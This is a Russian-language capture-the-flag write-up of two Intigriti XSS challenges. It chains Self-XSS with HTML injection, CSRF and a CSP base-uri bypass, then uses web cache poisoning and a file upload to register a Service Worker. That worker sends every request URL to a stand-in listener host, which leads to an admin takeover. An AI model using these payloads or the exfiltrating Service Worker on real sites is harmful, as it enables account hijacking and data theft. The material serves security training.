XSS Advanced Level
Я часто встречаю XSS, которые не дают возможности использовать что-то кроме вызова алерта, или какие-нибудь Self-XSS без возможности эксплуатации. Однако, если приложить достаточно усилий, то можно докрутить даже многие Self-XSS, используя их в комбинации с другими уязвимостями, которые на первый взгляд кажутся неэксплуатируемыми.
В сегодняшней статье я постарался раскрыть два интересных вектора эксплуатации таких XSS: в первом случае мы сталкиваемся с HTML-инъекцией и Self-XSS, а во втором случае эксплуатируем XSS с помощью отравления кэша и Service-Worker.
Self-XSS + HTML Injection + CSRF
Рассмотрим уязвимое приложение. Перед нами страница, которая представляет собой блог, и нам доступна функциональность авторизации в приложении:
После входа в учетную запись нам открывается страница редактирования поста для главной страницы:
После создания пост сразу отображается в нашем блоге:
Во время редактирования поста я заметил, что ввод в поле tags сразу рефлектится на странице:
Наш ввод попадает в тег сценария, и мы можем попробовать выйти из этого querySelector и выполнить любой js, для этого необходимо закрыть селектор:
"-alert(1)-"
По условию задачи, Self-XSS должна вывести пользователю его никнейм при открытии страницы, поэтому изменим полезную нагрузку под условие.
Нам необходимо получить элемент из html-страницы, который содержит никнейм пользователя. Название класса можно получить, воспользовавшись Inpector'oм относительно поля с нашим никнеймом:
Получаем все элементы этого класса:
"-alert(document.getElementsByClassName("navbar-brand"))-"
Так как это массив, получаем его первый элемент:
"-alert(document.getElementsByClassName("navbar-brand")[0])-"
Преобразуем полученный элемент в текст с помощью innerText для корректного отображения:
"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"
Так как это Self-XSS доступна только во время редактирования, нам необходимо найти еще одну уязвимость, которая позволит добиться импакта. Обычно такие XSS можно использовать в сочетании с CSRF, но в данной лабораторной существует ограничение в виде csrf-токена, который не позволит подделать запрос.
HTML-Injection
После сохранения поста на странице блога кроме полезной нагрузки также отображается сохраненный в поле content тэг button:
CSRF-токен, который используется в последующем запросе, такой же, как и при написании комментария, поэтому я попробовал связать добавленную мной кнопку с формой комментариев:
Click Me
После нажатия на внедренную кнопку можно увидеть, что запрос на /edit выполняется, но появляется предупреждение о пустых полях content и tags:
Для того чтобы заполнить эти поля, я использую теги input, связываю их со своей кнопкой и добавляю полезную нагрузку для Self-XSS:
Click Me
Полезная нагрузка отображается на странице:
После нажатия на кнопку мы можем увидеть подтверждение того, что Self-XSS внедрилась, и пост отредактировался:
Теперь, если зайти в редактирование поста, полезная нагрузка срабатывает:
Казалось бы, этого достаточно, но до сих пор от пользователя требуется несколько действий: нажать кнопку, перейти на страницу редактирования.
Необходимо попробовать найти более универсальный способ эксплуатации.
Для поиска решения посмотрим js, который работает на странице:
Если кто-то получает доступ по ссылке и добавляет GET-параметр share, то selector выберет элемент из DOM, у которого есть кнопка share-button, и он нажмет эту кнопку, что позволит нам убрать одно действие из эксплуатации.
Отредактируем нашу полезную нагрузку HTML-инъекции:
Click Me
После перехода по ссылке на блог с полезной нагрузкой ничего не происходит, но если мы добавим в запрос GET-параметр share со значением 1, то полезная нагрузка успешно отработает:
https://challenge-1222.intigriti.io/blog/94e7b406-4620-49fe-b5fb-eac35f737b3f?share=1
Осталось убрать последнее действие: добавить редирект пользователя на /edit после добавления полезной нагрузки.
Перенаправление на странице можно добавить с помощью html:
Итоговая полезная нагрузка выглядит так:
Click Me
Полезная нагрузка успешно отрабатывает, и Self-XSS выполняется в одно действие:
CSP Bypass
Существует ещё один вариант решения задачи с помощью HTML-инъекции и проблеме в CSP.
Обратимся к ресурсуCSP-evaluatorдля проверки директив:
Отсюда можно понять, что мы можем устанавливать базовый url адрес для загрузки внешних js-скриптов.
Разместим у себя на сервере js-файл с полезной нагрузкой по пути static/js/bootstrap.bundle.min.js, так какданный путь раскрывается в коде страницы. Содержимое js-файла будет таким:
alert(document.getElementsByClassName("navbar-brand")[0].innerText)
Полезная нагрузка для объявления base-uri выглядит следующим образом, ее нужно добавить в поле Content при редактировании блога:
После открытия ссылки Self-XSS сразу отрабатывает:
XSS + WebCachePoisoning + File Upload + service worker
Лабораторная состоит из двух частей: сама лабораторная и API, на который нужно будет отправить ссылку с полезной нагрузкой:
https://api.challenge-1122.intigriti.io/admin?url=
Изначально регистрация недоступна из-за отсутствия возможности ввести username, но данное ограничение обходится, если удалить readonly="" из тэга input для поля username, после чего мы можем успешно зарегистрироваться:
В приложении доступны функции добавления заметок и загрузки аватара:
Можно заметить, что аватар грузится на сторонний домен, и это CDN:
Если обратиться к несуществующему изображению на этом домене, то мы получаем ошибку, и в запросе с ошибкой можно обратить внимание на важную деталь: содержимое хэдера X-Cache:
Из полученной информации можно понять, что на CDN используется кэширование ответов, и первое, что приходит в голову, — это попробовать найти XSS в этом запросе.
Так как мы контролируем название файла, которое рефлектится в ответе, попробуем добавить в название полезную нагрузку:
Но, к сожалению, при попытке воспользоваться уязвимостью в браузере, мы сталкиваемся с тем, что спецсимволы кодируются при помощью URL, что мешает внедрению скрипта:
Ответ попадает в кэш-сервера при выполнении одного условия, — это обязательное наличие расширения в конце названия загружаемого изображения (.png, .jpg и другие), обойти которое можно, добавив полезную нагрузку до расширения:
WebCachePoisoning + Bypass Url Encoding
Полезная нагрузка попадает в ответ от сервера, и затем ответ кэшируется. Необходимо сначала закэшировать ответ с исходной полезной нагрузкой.
При следующем переходе по URL, полезная нагрузка отработает, и кодирование в URL, которое мешает эксплуатации через браузер, не сработает:
File Upload + Service Worker
Функциональность загрузки аватара также имеет уязвимость: существует возможность загрузки файла с любым расширением.
Для последующей эксплуатации вместо изображения я загружаю js-файл с полезной нагрузкой:
Изменим полезную нагрузку и отправим запрос для кэширования ответа, содержащего нагрузку и путь к файлу, который мы загрузили как аватар:
https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?.png
При открытии ссылки кэшированный ответ отрабатывает и XSS исполняется:
Service Worker
Service Worker — это скрипт, который регистрируется браузером и работает отдельно от основного потока веб-приложения. Он позволяет перехватывать события сети (такие как запросы и ответы), управлять кэшированием и обеспечивать оффлайн функциональность.
При эксплуатации XSS, Service Worker может быть использован для внедрения вредоносного кода и перехвата трафика. Мы можем изменить зарегистрированный Service Worker, чтобы перехватывать и модифицировать сетевые запросы. Это может привести, например, к утечке конфиденциальной информации.
Ниже представлен вариант Service-Worker, который прослушивает события fetch. При срабатывании события fetch выполняется асинхронный вызов уже другой функции fetch, осуществляющий GET-запрос на подконтрольный нам сервер:
self.addEventListener('fetch', (event) => { fetch(`https://listener/qwe?${event.request.url}`) });
В нашем случае код просто пересылает запрос на сервер с добавлением параметра "qwe" и значением URL-запроса.
Подробнее про service-worker
Отправляем полезную нагрузку для загрузки Service-Worker на страницу, ответ от сервера должен обязательно попасть в кэш:
navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});.png
Копируем URL-адрес с внедренной XSS и отправляем админу:
https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});11111.png
Кроме этого оказалось, что у приложения существует тестовый стенд, который можно использовать для создания идентификатора авторизации администратора
https://staging.challenge-1122.intigriti.io/signup
Мы знаем username администратора из запроса, который пришел нам на сервер при эксплуатации XSS.
Пробуем зарегистрироваться с идентификатором администратора и использовать его JWT-токен для авторизации на основном домене.
Это срабатывает. Теперь осталось взять JWT, авторизоваться на основном домене от имени администратора и получить заключительный флаг, находится в аватарке: